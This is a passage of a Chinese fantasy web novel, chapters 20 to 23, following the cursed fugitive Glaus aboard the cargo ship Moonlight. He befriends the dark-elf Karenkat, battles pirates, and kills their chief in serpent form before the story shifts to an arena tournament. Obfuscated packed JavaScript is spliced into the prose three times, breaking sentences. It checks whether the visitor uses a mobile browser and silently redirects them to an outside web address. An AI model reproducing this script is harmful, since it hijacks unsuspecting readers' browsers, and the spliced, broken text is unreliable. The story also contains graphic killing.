“是的,”莱森不明所以地说,“她保养的很好,你瞧——” 青年饶有兴趣地听着,他看起来若有所思,好像这艘船让他想起了什么人。然后他摘下兜帽,露出有些凌乱的棕发。青年的面庞干净沉稳,黑色的眼睛注视你时,却如野兽般凌厉危险。他伸出手,和莱森握了握,莱森感觉对方的手硬得像铁。 “莱森先生,是吗?很高兴认识您。” “不客气。我该怎么称呼你?” 青年微笑了一下。只有这个时候,他看起来让人如沐春风。“您可以叫我格劳斯。格劳斯·耶格尔。” 20. 20-月光与影子 死亡的感觉是——清晰、寒冷与下坠。在逃离亚斯提都的时候,格劳斯身体出现异变,彷佛有怪物从自己的身体诞生,而当格劳斯斩下变异的身体,他面对的只是自己身受重伤的躯体,那些被斩下的部分是自己的手臂和心脏。——这种自戕的行为来自于幻觉,有人让他这样做——为什么之前在监狱里没有触发呢?是不是一旦自己试图离开亚斯提都,这幻觉便会发作,确保自己绝对逃不掉?可是,是谁做的呢? 格劳斯心中有个答案,但是不愿细想,彷佛一旦谈论或在心中分析对方,就会有更加可怖的事情降临在自己身上。 另一个问题是,他死了吗?如果自己死了,为什么还能行动、呼吸?格劳斯想,或许那种死亡对自己来说是不完整的。他的确有了陷入死亡的体验,但是因为自己纹章的特殊性,自己能够在死去后再次活回来,自己的纹章有三个头,失去一个,还剩两个。 或许某一部分的他在从困倦的睡眠中苏醒时,已经随之死去了,当格劳斯从地上脱落的黑色血肉中重新站起身时,他感觉冰冷的寒意仍包裹着自己的心脏,仿佛活下来的不再是少年格劳斯·耶格尔,而是一只野兽,混杂着血腥和兽性的动物。他能呼吸,能听见人的声音,可在他眼中人类的形象却变得陌生,他抬起自己曾断掉的手,他的肢体已经重新长好了,然而新生的右臂却覆着黑色的如蛇般的坚硬鳞片,无可奈何,他只能现在手和小臂上缠一些绷带遮掩。 他开始喜欢黑暗、阴影和冰凉的地方,与其听对方说了什么,他更喜欢用气味和观察对方瞳孔细微的神态来判断对方是否在撒谎。格劳斯胸口的纹章也发生了变化,曾经交织在一起的狮子、山羊和蛇如今只剩下狮头和羊首,黑色的蛇头消失了。格劳斯猜测,这样的话,自己再使用蛇的能力会怎样?会不会再也变不回人类?无论如何,格劳斯决定暂且避免使用蛇的力量,他身上躯体化成蛇的一部分已经相当让他不安。——而下一次死亡之后新生的他会变成什么样子,格劳斯就完全不知道了。 莱森先生的月光号在黎明起航。他的船员们都已经提前登船,只差格劳斯和船长。莱森先生登船后,格劳斯不需要踏板,便轻巧的跳上船。 “你的身手真不错。”莱森先生说,“天亮后,我带你介绍一下我的船员——” 莱森先生话音未落,格劳斯身旁的黑暗中骤然伸出一只黑细的手,握着匕首刺向格劳斯的颈部。格劳斯反应极快,他一手捏住那只袭来的手腕,后仰躲过匕首的突刺,右手发力就把那人从阴影中狠狠拽出来。 还未看清那人样子,格劳斯左手就紧跟着化为狮爪,不等对方反应,就朝对方狠狠刺了进去。只听那人嗷的一声惨叫,跟着整个人连同被格劳斯抓住的右手一起,融化般的消失在影子里,只剩那把匕首啪的一声掉在地上。 “卡伦卡特!” 莱森先生怒斥道,“我早就告诉过你,不要在别人面前卖弄你的能力!” 格劳斯波澜不惊的站在月光下,微微歪过头,看见桅杆投在甲板上的影子慢慢拉长变化,跟着一个穿着深蓝色航海服的男生从阴影中走了出来。他个子瘦小,皮肤很黑,一头卷发散乱的缠在脑袋上,碧绿色的眼睛从乱发下打量着格劳斯。 卡伦卡特捂着受伤的胳膊,把地上的匕首捡起来。 “我这不是,想给船长撑撑场子嘛……”卡伦卡特咕哝道,自来熟的又看向格劳斯:“我是卡伦卡特!刚才只是意外,其实我可是很强的!” 格劳斯礼貌地回答到:“我是格劳斯·耶格尔。” 莱森拍了一把卡伦卡特的后脑勺,示意他不要再丢人现眼:“卡伦卡特是这里年龄最小的船员,平时打打杂。他还不太懂事,请你多担待。” 格劳斯若有所思地跟在莱森身后:“我还以为你的船上没有纹章持有者。” 莱森先生欲言又止地说:“卡伦卡特……缺乏战斗经验,在我买下他之前,我确实以为他会是很大的助力……” “他是奴隶?” 在卡克奇克大陆,人类王国,有许多不同种族的奴隶,最多的是精灵和泰坦,因为这两个种族的人数最多。这些奴隶只要有足够多的金币就可以在市场上买到。只是大多数奴隶都是无能力者,持有纹章的话,做佣兵也能维生的很好。 “什么奴隶!只是暂时在做包身工而已!等我赚够钱就把自己赎回去!”卡伦卡特大声反驳道,“买我怎么了?我可是阴影纹章、悄无声息的刺客、黑暗世界中的穿梭者!我这种本事打着灯笼都找不到呢,两百金币能买下我是福报!” 莱森揉了揉眉心,他的灰发此刻看起来甚至发白。从莱森先生的肢体语言判断,格劳斯猜测他是想说‘一分钱一分货’。 “我要去船长室,和大副最后确认出发的各项事宜。格劳斯,你的房间在左船舷的最后一间。”他瞥了一眼卡伦卡特手臂的伤口,“你去包扎。” 格劳斯走进房间,他的房价并不大,仅能放下一张床和一个凳子。格劳斯靠到墙上,他没有点灯,也并不疲惫,反正黑暗中他的视力也同白天一样清晰。格劳斯正出神地发呆,突然面前的黑暗中的墙上,再次如漩涡般转动起来,格劳斯没有动作,只是懒洋洋地说:“你的船长警告过你一次,怎么还不长记性?” “你真的能在黑暗中看清东西?还是你猜的?”卡伦卡特瘦小的身影从影子漩涡中走出来,他的手臂已经包扎好了,正站在格劳斯的床边,好奇地在他的房间里东张西望。 “你就这么好奇?难道你没见过别的纹章能力吗?” 卡伦卡特手背在身后,脚在地上划来划去。 “干什么?因为我是从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502509|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方出来的,你就瞧不起我,觉得我没见识吗?” 格劳斯笑了一下。“没有,我不会这样做。我只是很好奇。其实我见识的东西也没比你多多少。” 卡伦卡特高兴起来,他把头发拨到耳朵后面,格劳斯注意到,黑色的卷发下,他有着尖尖的,细长的黑色耳朵。 “所以我才要出来见识见识嘛!兄弟姊妹们都不理解我,他们只会整天闷在家里,还对我指指点点。” 格劳斯指了指他的耳朵:“你不是人类吗?” 卡伦卡特歪头笑了一下,“我是暗精灵。你连暗精灵都没见过?哈哈!乡巴佬!” 暗精灵,在卡科奇克大陆上,算是精灵中一个比较大的种族。大多数精灵在混血后已经看不出原本的种族了,只有暗精灵还比较明显。 格劳斯威胁的露了一下虎牙:“谨言慎行,小心我把你当点心吃了。暗精灵卡伦卡特。又想找揍?” 卡伦卡特哼了一声:“那次是我大意了!这次我就藏在你的影子里,你能把我怎么样?” 言罢,他一猫腰又消失在格劳斯面前的阴影里,同落着影子的墙融为一体,只露出一对绿色的眼睛在角落里得意的看着格劳斯。 格劳斯叹了口气,拉开舱门,走到银白的月光下。 在皎洁的、宁静的月光下,照耀得甲板洁白发亮。随着落在格劳斯身下的影子越来越小,卡伦卡特终于藏不住,咻的一声从阴影里冲出来,眼看着就要钻进另一个大货物堆的阴影里。格劳斯一脚踩住他的脚踝,重新把卡伦卡特拽了回来: “和我猜的一样,没有影子的地方你的能力就不好用了。” “你作弊!你怎么会那么熟悉我们的能力?你都没见暗精灵!” “虽然我没见过你,但是见过别的类似纹章啊。” “胡说,除了暗精灵有影子纹章,还有谁能有空间能力?” 格劳斯摇摇头,放开卡伦卡特。 “他可比你强得多。” 卡伦卡特急得在格劳斯身边上蹿下跳:“怎么可能?没有我不认识的暗精灵!你说的那个有空间能力的人难道不是精灵?究竟是谁?我不信!” 格劳斯没有回答,他走到船舷边,眼睛望着落在身后的里加湾。他的思绪已经不在这里了。货船的汽笛发出悠悠的鸣叫声,海岸就像一个笼罩在雾气里的、闪烁着小小白光的亮点。 他想起那人在黑暗中闪烁着的挂坠,他如月光般的头发,微笑着的,金色的眼睛。那个人与记忆一起被留在雾气后面,在与格劳斯渐行渐远的地方,船每行一里,他们便越分离一步。等他的船一路南下,他就在一个无人问津的港口下船,在人类军队搜集不到的地方度过自己的一生,或许从今往后,自己再也不能见到他。格劳斯感觉到湿咸的海风吹到脸上,他闭上眼睛。 21. 21-海龙鳖 东海海域辽阔,一望无际,苍蓝的天空下,白色的浪花阵阵翻卷,细小的银色鱼群闪烁其间。 格劳斯第一次出海,虽然一开始有些不适海上颠簸的生活,但是也很快熟悉其中。只是受纹章的影响,若没有战斗,平时更喜欢独自呆在房间里休息,享受黑暗的空间。 清晨,太阳尚隐藏在雾霭中,空气凉爽清新,船舱外传来几声细长的鸣叫。格劳斯突然心生好奇,忍不住走到甲板上,看见是两三只黑色的小鸟,正停在桅杆上,它们羽毛上点缀着几个白色的珍珠般的小点,尾巴一翘一翘,格劳斯的目光落在它们身上,也大胆的回望过来。 卡伦卡特原本在拿墩布擦地,看见格劳斯,也不再干活凑过来。“你是第一次出海吧?别看前几天新鲜,很快就腻了。” 格劳斯瞥了他一眼,“你在这船上呆了多久?” 卡伦卡特眨巴着绿色的眼睛,掰着指头数了数,“从年初到现在……六个月了吧。运了两次货物。” “遇到过什么危急的情况吗?” “危险算不上。只是在北方的时候遇到了一次海鲸群,七八条独角鲸冒出海面时,连冰层都被顶裂了,真是有点胆战心惊。” 格劳斯问:“它们不是莱恩先生提到的大型海妖吗?” 卡伦卡特摇摇头。“独角鲸可完全比不上那种家伙!不知道活了多少岁,长得特别特别大的怪物,据说是从深海冒出来的。数目有多少不知道,但是其中最有名的一只叫克拉肯。” “克拉肯有什么特征吗?” “它的脾气特别暴躁,总是在暴雨天出现。除此之外,据见过的船员说,它的眼睛是黄色的,很明显。” 格劳斯想象了一下那个场景,感觉后背一阵紧绷。他正要问那你们船长除了请我,还准备了什么应付克拉肯,就听见卡伦卡特指着前方不远处说:“看!海妖塞壬!” 格劳斯顺着卡伦卡特指的方向看过去,只见几海里外的海面鱼群翻涌,乍一看会以为是海豚在捕猎,但长如海豚的尾鳍没入海中后,三个上半身如人类的塞壬浮出水面。其中一位女性披着粉色的头发,嘴里叼着一条小鱼,正咀嚼着白色的鱼肉。卡伦卡特激动地朝他们挥挥手,但是那几位塞壬只是看了这艘船一眼,并没有靠近的意思。 “你可真够热情的。”格劳斯说。 “哎,我这不是希望和塞壬说说话吗!”卡伦卡特挠挠头,“塞壬大多数是很友好的,他们有时甚至会跟在你的船后面游几十海里,只是想确保你的船平安无虞。很多疍蛟人就是人类和塞壬的后裔。看到他们,就意味着咱们彻底远离陆地了。” 格劳斯顺着卡伦卡特的话又朝那位塞壬看了几眼,发现那位粉色头发的塞壬也正看向自己。格劳斯下意识的笑了一下,却看见对方露出覆着锋利鳞片的手,在自己的颈部做了一个抹脖子的动作。 格劳斯悚然一惊,可是下一刻看去,那粉发塞壬只是在事不关己的啃食鱼肉,然后用青色的手背擦嘴。卡伦卡特还是无忧无虑地挂在船舷上,格劳斯不安地收回目光,或许是他看错了,可他的心中仍萦绕着一片乌云。格劳斯警惕起来,不再继续留在甲板上。 接下来的几个星期,‘月光号’货船都平安无事,一直航行在看不见陆地的,无垠无际的大海上。格劳斯也落得清闲,整日在自己的屋里打盹,他受纹章影响,平时能听见、看见极细微的声音,虽然在战斗时格外有用,但平日却会反而耗去很多心神。所以格劳斯索性双眼一闭,往船舱的阴影处一靠,眼不见心不烦。虽然做不到百分百放松下来,却也能在放空中打发掉很多时光。卡伦卡特总想央求看格劳斯的纹章,烦不胜烦的格劳斯只能应付他:“如果我们平安送这批货物到了岸,我就在陆地上给你展示,好吧?”卡伦卡特于是也不再烦他。 又是一日,晴空万里,格劳斯照样找了一个堆货物的角落假寐。不知为何,他一直无法入睡,心中烦闷不已,索性爬起来,走到甲板上散步。看着海水起伏的一圈圈白色波浪,这段时间,他已经认识了很多种海妖,比如那些从水底冒出一层层白色圆圈时,就是鲸鱼在上浮;快速从飞溅的浪花中跃起的,是飞鱼群。格劳斯趴在船舷上,极目远眺,一点闪光,其下是一层层白色浪花正如细线般分割,彷佛有什么生物正在海面下快速移动。 格劳斯歪歪头,正纳闷那白色的小点是什么东西,就听见头顶的瞭望台传来海员的尖叫,跟着全船警铃大作: “海龙鳖!敌袭!海盗来了!” 警铃震耳欲聋,船上几乎立刻乱作一团,大量船员里里外外地跑出来,拿着铁钳、铁镐等各种铁器,张罗着换帆、改变航向。格劳斯顺手捡起一把铁剑,颠了颠握在手里,他的视线看得更清晰,远处的白点迅速扩大靠近,那白色的是张起的帆,一艘棕黑色的船正踏浪般的快速驶来。它的船头牵出几根粗长的铁链深入海里,仿佛有什么东西被拴在海里,正拉着海盗船极速而来,几个呼吸的功夫,船身就已经清晰可见。 正在全员武装之时,莱森先生从船长室跑出来,边跑边吼道:“都出来干什么?快找遮蔽——” 几乎话音未落,一支细箭就如疾风般射来,格劳斯侧头一闪,那支棕黑色的箭已射入他身后的木墙,深入寸许。十几支长箭跟着呼啸而至,格劳斯快速挥剑在面前格挡,打落数十只,仍有人躲闪不及时,惨叫一声被射中。更多的羽箭如雨点般纷至落下,大量船员们慌乱地往船屋中挤去,格劳斯挡在最外侧,把那些射过来的箭一一挥落,虽然仍有一些擦破身体或者射入自己,但是自身愈合速度极快,很快就伤口痊愈。卡伦卡特也跟在旁边,尽可能把更多人拉入影子里。 月光号的船员皆躲入船舱中避险,货船避无可避,任由那艘海盗船直挺挺的撞过来。轰隆一声巨响,月光号船身大幅摇晃,几乎被直接撞翻,索幸船身只是破损,并没有被撞出大洞。格劳斯这次看清了,那被拴着拉船、在最前面撞过来的乃是一只形如巨龟的怪物,它的头是尖角型,背上却覆盖着坚硬的灰黑色龟壳,四肢像巨大的浆板,双蹼每一次搅动海水,身下就像小漩涡般黑水翻涌。几个船员重心失衡,掉入水中,被海龙鳖的蹼击中的,当即失去意识;另一人被海龙鳖的血盆大口一咬,已碎成几段,溅出的血浆立刻把海水染红了。 海龙鳖这种海妖,凶残狂暴,又力大无穷,专门被别有用心的人饲养起来,当作拉船的海兽,还能在袭击他人时,做先遣的突袭兵。 几段铁链套着钩子被甩到船上钉住,跟着就有十几名海盗顺着铁链爬了过来。这些人大多衣衫褴褛,面相穷凶极恶,格劳斯不免想起自己初入亚斯提都时遭遇山贼的经历,当下怒火满腔,挥剑和海盗厮杀在一起。 其他船员也从船身中跑出来,和海盗厮打起来,知道倘若战斗失守性命与货物必然具失,都拼了命。格劳斯同时和三个人厮斗,仍有余力,不忘分心关注船长的位置。莱森先生和大副在船长室附近的角落打斗,大副是一个高大的疍人,手臂肩膀都覆着鳞片,如先有了一层刀枪不入的鳞甲;那几个海盗身手不高,一时不会威胁船长的安全。卡伦卡特虽然战斗经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不能。”匪首咧嘴笑了一下,“我养不起那么多人。我的人也要吃饭。” “那么免谈。” 格劳斯动作凌厉,出手迅猛如风,话音未落,猛地起跳,双手已化作狮爪,朝匪首挥砍过来。匪首后撤一步,挥剑格挡,格劳斯的爪子砍到那把重剑身上,只听一声尖锐刺耳的声音,跟着铁剑巨力传来,把格劳斯狠狠掷了出去。 嘭的一声巨响,甲板被砸的木板寸寸碎裂,格劳斯重新爬出来,他拔出插进身体里木屑,把刚刚被击得脱臼的右臂接回去。格劳斯还在喘息着,匪首已大步奔袭过来,他每踏出一步,脚下的木板都咯咯作响,彷佛重如千钧。 匪首挥起黑铁重剑,风声呼呼,格劳斯只来得及团起身体,便感觉一股排山倒海般的巨力砸在自己身上,那铁剑沉重至极,他身上的筋骨几乎被寸寸折断。等男人的攻击落下,格劳斯已经被对方一剑压进甲板中,剑身大半个楔入身体,格劳斯竟无法将其拔出来。 匪首凑了过来,似乎惊叹青年顽强的生命力,他拔出重剑,将浑身是血的格劳斯举到船舷边。 “即使是野兽纹章,你的恢复速度也是我见过最为惊人的。”他说,“看你的攻击方式,是从狮子身上获得的纹章吧?可惜你的力量远在我的‘大力金刚’之下,速度也还不够快。” 男人摇摇头,露出不忍的神色。 “或许被我的海龙鳖吃掉后,你那怪异的恢复能力能消停下来吧。就算是陆地之王,大海也不是你该来的地方。” 男人松开手,格劳斯感觉身体一轻,扑通一声,已跌进冰冷至极的海水中。黑血覆盖着他的眼球,他的眼前血蒙蒙一片。格劳斯努力仰起头,徒劳的在海里试着抓住什么,可他很快呛起来,只能任由无力的身躯下沉,坠落。 他感觉到阴影覆在自己身上,那死亡的巨口正在自己身下,向自己发出邀请。 陆地之王,不该到海里来……吗。或许……我从一开始踏上旅途的选择——就是错的。 22. 22-狂热之梦 · 痛苦与黑暗笼罩着格劳斯,四面八方的角落里传来呼啸的尖笑声,彷佛无形的亡灵在追逐他,环绕着他,如同恶灵追随着他坠入深渊。格劳斯感觉到那些死灵的白骨缠上自己的手臂,全身便如坠冰窟。格劳斯想要就这样坠下去,然而下一刻,脑袋一阵剧痛,他的意识重新清醒过来。 格劳斯睁开眼睛,眼前的黑暗如漆如墨,像在一个极闭塞的空间里。格劳斯费劲地挣动着,他的鼻腔里都是湿咸的海水,想要直起身,可是那胃袋是如此拥挤,甚至不够他翻个身。无数死去生物的断肢在他的身下、他的头顶上,格劳斯几乎要在这地狱般的酸臭中窒息过去。格劳斯痛苦地呼吸着,海龙鳖胃袋里的空气是如此稀薄,他被撕碎的四肢再生又耗费了太多力气,几乎连手指都动弹不得。黑暗粘稠的挤压下来,胃液从头顶的胃壁上滴落,有的落上他新生的身躯,肌肉便嘶嘶被腐蚀的声音,紧接着一阵刺痛。 格劳斯苦闷的想,能被海龙鳖撕碎吃下去还清醒过来的倒霉蛋,恐怕只有他一个了,作为奖励,他可以眼睁睁地看着自己被消化掉。 坦白地说,他不想死,也不想放弃。可是他真的浑身好痛、没有力气了,即使他能出去,又能怎么样?他不是大力金刚的对手,以后也会遇到比他更强的敌人,那时他该怎么办?他曾怀揣着如此强烈的希望不远万里来到亚斯提都,可最后却没能实现任何愿望,只是犯下弑君的滔天罪行,不得不走投无路的逃离——与其一生活在逃亡的阴影下,不如在这里结束吧。 格劳斯身下的尸体碎块动了动,格劳斯低下头,看见一只黑瘦的手费劲的从残渣中伸出来,跟着露出一个凌乱的黑发脑袋。 “卡伦卡特?你怎么在这?” “呼,呼……老大需要你,格劳斯。”卡伦卡特费劲地说,边往他身边爬,“你快来,不然大家都要死了……” “所以你就这么——你疯了?你会被消化的渣都不剩!” 卡伦卡特不理他,一点一点爬到格劳斯边上,抓住他的手,就要用影子纹章把两人传送走。格劳斯抓住卡伦卡特,“等一下。” “时间紧迫啊!你——” 格劳斯扭过头,随手抓起一只看不出形体的肉块递到嘴边。 “我……需要更多血液。” ·· 高大的男人拉开货舱的舱门,居高临下地打量着。船舱里整齐地落着十几吨谷物,另一侧的角落则包裹着上百件丝绸衣服。 此时,船上的战斗已基本告一段落,除去在战斗中死了的人,剩下的十几个船员双手就缚,被赶到甲板上。莱森先生浑身是血,几个海盗把他拖到匪首面前。 “你可以把货物都拿走,”莱森祈求到,“请你放一条小船给我的船员,让他们有一条生路。” 海盗转过身,他挠了挠满是络腮胡的下巴,苦恼的说:“可是我没有多余的船给你们用。”他回过头,瞥了一眼血迹斑斑的甲板,“我的人死了不少,就算这批货物全算上,也不够我们花。” 莱森先生苍白的脸哆嗦了一下,又说道:“如果不够,我还有一些积蓄,等靠了岸,我可以把它们都给你……” 金刚哈哈大笑起来,他一只手拎着莱森的后颈,把他举起来,拖到船舷外,那船下漆黑的海水如深渊巨口般起伏着。 “他试着用钱买你们死去的兄弟!”他对海盗们说,“你们接受吗?” “不接受!” 一个人大喊道,挥舞着手中的铁剑, “送他去喂鱼!” “送他去喂鱼!” 此起彼伏的声音迎合着。 大力金刚将莱森稍微放低了一点,笑着说:“去见那个死了的打手吧——下次选人应该更清醒一点。” 他手一松,莱森先生已被他抛入海中。他重新转回人群,大声说道:“杀了所有船员!” 几个手快的海盗已经挥刀砍下,甲板上一片惨叫和求救声,就在这时,一大片黑色的烟雾从船的角落里骤然升起,黑烟笼罩住甲板,让这艘船宛如陷入伸手不见五指的黑夜。那些海盗手中一松,被绑住的船员已不知所踪。 铛铛几声,金属交错,一个海盗的砍刀落下,正被突然从黑暗中出现的暗精灵匕首挡住。 匪首好整以暇地调整了一下位置,他已发现这片黑雾没有毒气,除了遮挡视线外没有任何威胁。大力金刚的野兽纹章除了增幅体力外,也强化了他的视力,让他在黑暗中也能看得清清楚楚。他从容地看着暗精灵从一个海盗身下显身,气喘吁吁的把那人的砍刀弹开,又被接下来的几个盗匪逼入死路。 “我还以为你跑走了呢,小耗子。”大力金刚说,“跑回来救人,你做了错误的选择。” “还是先担心你自己吧!”卡伦卡特大吼,一匕首掷向金刚,匪首挥剑格挡,重剑轻巧的将匕首弹飞,他正欲挥剑砍向卡伦卡特,突然感觉浑身一阵发毛。环绕着他的黑烟突然变得狂暴,如同旋转的龙卷将他包围起来,卡伦卡特双手手指并拢,喊了一声“破!”黑烟转瞬消散,一条十几米长的黑色巨蟒赫然现身,已盘绕上大力金刚的身躯,蟒身绷紧,已成绞杀之势。 大力金刚心下骇然,他怒吼一声,全身猛然发力,要从蟒蛇的绞缠中挣开。巨蟒身体柔软,蛇身力道不足,竟被金刚挣开稍许。大力金刚心中稍微宽慰,正欲再度用力,彻底挣脱,一抬头,正对上蛇的白色双眼。只看那对竖起的蛇瞳霎时化为不详的黑色方瞳,一对缠绕着古怪花纹的羊角正如黑镰般从蛇的额头中伸出来。巨蟒缠绕着庞大的人类,咧开猩红的蛇口,蛇信猩红,露出近似邪恶的笑容。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502511|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >与那对瞳孔对视,大力金刚只感觉头颅遭到一记重击,好像一只大手钻进自己的脑海紧紧揉搓。他惨叫一声,目眦欲裂,红色的血液从他的眼睛、耳朵和鼻腔中流出来。可是这一切没有结束,黑蟒牢牢地缠绕着人类,白色的雾气几乎将它的眼球彻底笼罩,头顶那对羊角也变得愈发漆黑光泽,甚至隐隐闪烁着红光。 四下的海盗感觉不对,他们急忙向大力金刚和黑蛇冲来,但是卡伦卡特已经趁乱给好几个船员解了绑,他们也立刻和海盗缠斗起来,不让他们靠近黑蛇。 男人的嘴大张着,因为恐惧和疼痛而全身痉挛,灵魂冲击是如此的致命、有效,男人再也无法攒起刚才的那般巨力了。黑镰般的羊角收回去了,黑血依然从蟒蛇头颅上的伤口滴落着。蟒蛇重又绞紧身躯,蟒身缠绕过大力金刚的手臂、胸腔、大腿,男人粗厚的手指从蟒身的缝隙中伸出来,可再也握不到近在咫尺的重剑——不,就算碰到也于事无补,他已经举不起、握不住剑了,他的胸腔被挤住,抽干了太多空气。 男人的喉咙中发出嗬嗬的声音,他的脸被憋得发青,眼球外凸,血不断从他的鼻腔中流出来。他的嘴唇开始充血发红,唯一空出的右手疯狂的抓挠着,扒过黑蛇冰凉滑腻的鳞片,挣动着,他的肌肉暴起,把那些鳞片扯下来揪碎,扣挖着蛇受伤的血肉,可是一切都于事无补。黑蛇的身躯是如此绝望庞大地收缩着,它慢慢扭动,蛇的头颅蹭过男人短发的颅顶,轻柔地滑过去,彷佛在安抚对方。 他白色的眼睛注视着猎物挣扎的样子,他当然感觉得到,他的每一寸皮肤都能感知到对方的体温,人类那灼热滚烫的皮肤紧贴着自己,因为濒死而汗津津的,那温热的血肉正在发烫,紧绷,像水中的小小蚂蚁,正积蓄力量要做最后一搏。 他的牙齿并没有毒液的效果,可是格劳斯并不感到遗憾,他发现自己正享受这种一点点杀死敌人生命的感觉,温热的血肉因为窒息而痛苦的痉挛、弹动的肢体无法反抗自己的力量、一点点在窒息中减弱下去……他紧紧地收缩着身躯,确保对方无法吸到一点氧气。噢,和瞬间杀死对方不同,这死亡的拥抱感觉多么美妙,他甚至遗憾为什么没有早点这么做。 直到男人的舌头大伸着,尸体已变得僵硬,脸、脖子和肢体都红肿着,他才慢慢松开躯体地绞杀。可是黑蛇仍缠绕着男人的尸体,像在拥抱他,不让对方落下去,只露出男人后仰的头颅。黑蛇的躯体缠绕着游走着,居高临下的注视着猎物的尸体,彷佛要记住这死亡生物的最后一幕。他白色的蛇瞳露出兴奋的神情。 所有人都被这骇然的场景镇住了,那缠绕着死去男人的黑蛇是人类吗?还是怪物? 只有卡伦卡特最先反应过来,大叫到: “不要,格劳斯!” 黑蛇张开血盆大口,咬了下去。 23. 23-晶莹闪烁 虽然皇帝庞贝宣布要举办竞技场,但是到比赛真的开始,又花了两个多星期的时间。亚斯提都已经许久没有举办这类盛会,托新皇的福,每天涌进亚斯提都的人翻了一倍,铁匠铺、酒馆从早到晚喧闹不休,农民、佣兵、魔族混血,这些人几乎都身无分文,也没有特别的本事,却仍希望自己能在竞技场上大放异彩,得到将军或者皇帝垂青,在亚斯提都谋得一席之地。更有甚者,在竞技场开始之前,就在城里闹事杀人,希望自己的能力得到关注。就结果而言,新任的国会议员特里同中将忙得团团转,他将巡逻的频率增加了一倍,而每晚汇报的□□、盗窃和私斗频率依然不降反升。 为了举办竞技场,花销同样巨大。确实如庞贝所言,从盛夏开始的每个晚上都在举办宴会,山珍海味如流水般在大厅中交错,黄金大厅夜夜灯火通明,每晚都有新的贵族加入,人群来往太过频繁,内特甚至记不住他们的名字。连续不停的参加晚宴是如此疲惫,他的父亲却总能风度翩翩的接受每一个前来攀谈的人的对话。或许,是因为这些人的财富是支撑盛会的来源之一——但内特依然觉得父亲处变不惊、将所有事都安排得井井有条很了不起。他很想问问爸爸自己有没有什么可以做的,只是一直找不到和父亲相处的机会。 或许只要在竞技场表现好,就是爸爸对我的期待了。内特想,他不对我提要求,是因为他相信我可以把自己的事做好。 而竞技场比赛的日子终于到了。决斗场选在圣山学院的露天广场,周围各立了八根高大的大理石柱。此外,依山搭建了一个十几米高的看台,庞贝坐在正中,威斯汀·海森堡将军和赖兹瑙宰相坐在左右两侧,另外是小拉赫·克劳狄、巴萨·威廉姆斯和特里同中将等人,学士们坐在后排。此外,涅西丝,传说中的最后之龙,披着蓝白色的头发,正百无聊赖地坐在台沿上,光洁的双脚悬在看台外侧一晃一晃。这还是自庞贝宣布举办比赛的晚宴之后这么多天来,内特第一次看见她。 平民则挤在广场的外部,中间站着银甲和翼龙军团的士兵,几千人密密匝匝的挤在外面。 庞贝·康斯坦丁披着金红色的皇帝袍,头戴天使金冠,气宇轩昂,手持一枚火炬。 “我的子民们,我的战士们。我的翼龙们!”庞贝说,“让战斗的典礼开始吧!” 话音刚落,一个飘逸的影子从天边飞翔而至,翼龙军团长科尔身披银色的铠甲,骑着一条青蓝色的巨大翼龙,飞到庞贝面前。他接下庞贝手中的火炬,飞到康斯坦丁的雕像旁,掷入雕像手中的巨大油灯中。通天的赤红色火焰熊熊燃起,内特可以听见台下观众发出喧嚣的叫声。科尔拍了拍手下的翼龙,那条青绿色的亚龙扇动巨翼,它们的翅膀是前爪的演化,仰起头,发出一声尖锐的长啸。 翼龙军团的七条翼龙从地上腾空而起,他们跟随在科尔的翼龙身后,在人群和广场上方飞翔了一圈。翼龙作为人类专门培养出的亚龙品种,它们身上没有羽毛,只有色彩鲜艳的鳞片,八条翼龙同它们的骑行士一同落在那八根大理石柱上,尖啸震天,如彩色绚烂的火焰。内特想着,人类并不能飞翔,但是他们驯服了翼龙,于是天空也成为人类的领地。 涅西丝已不知何时站了起来,她露出斗篷下晶莹剔透的白色龙角,看着翼龙群,身体微微颤抖着。内特可以看见她的眼睛瞪大了,连带着周身的空气都骤降了几度。 第一天的战斗并不激烈,甚至说不上精彩。那些报名的平民根本没有纹章能力,连基本的战斗技巧也没有,根本不是贵族子女的对手。内特和这些连武器都拿不稳的人打架没有兴趣,他随便拿了一把铁棍,接连敲倒三个挑战者,便算是结束了今天的战斗。 扎克那边,他对上一个身材矮小的鲛人男孩,但是对方动作灵巧,躲过了好几次扎克的戳刺。不过,显然对方没有学过如何用剑,大型铁剑对他来说太沉了。当那男孩试图用铁剑砍向扎克时,扎克一剑挑开了他握剑的手,把他刺死了。扎克太兴奋、太激动了,他接连刺了那男孩好几下,直到那个倒霉的小鲛人彻底没气了。等尸体被拖走,沙地上还留着擦不干净的红色血迹。 第二天的战斗稍微有趣了一些。大多数平民都在第一天的战斗中落败,剩下的一些人意识到战斗的残忍,甚至不战而降。内特先是打败了一个高大的中年佣兵,那个男人用斧子,每一次挥砍都很有力气。但是内特曾学习过和不同类型的人决斗的技巧,塞福涅学士曾教过他如何攻击对方的关节来击倒对手。内特连纹章能力都没用,就轻松将对手击垮,场下已是一片掌声雷动。听着人群的欢呼,内特仰起头,看见礼台上的海森堡将军和父亲。海森堡将军没什么表情,父亲则在低声对庞贝说话。只有小拉赫笑着,扔了一串鲜花到他面前。 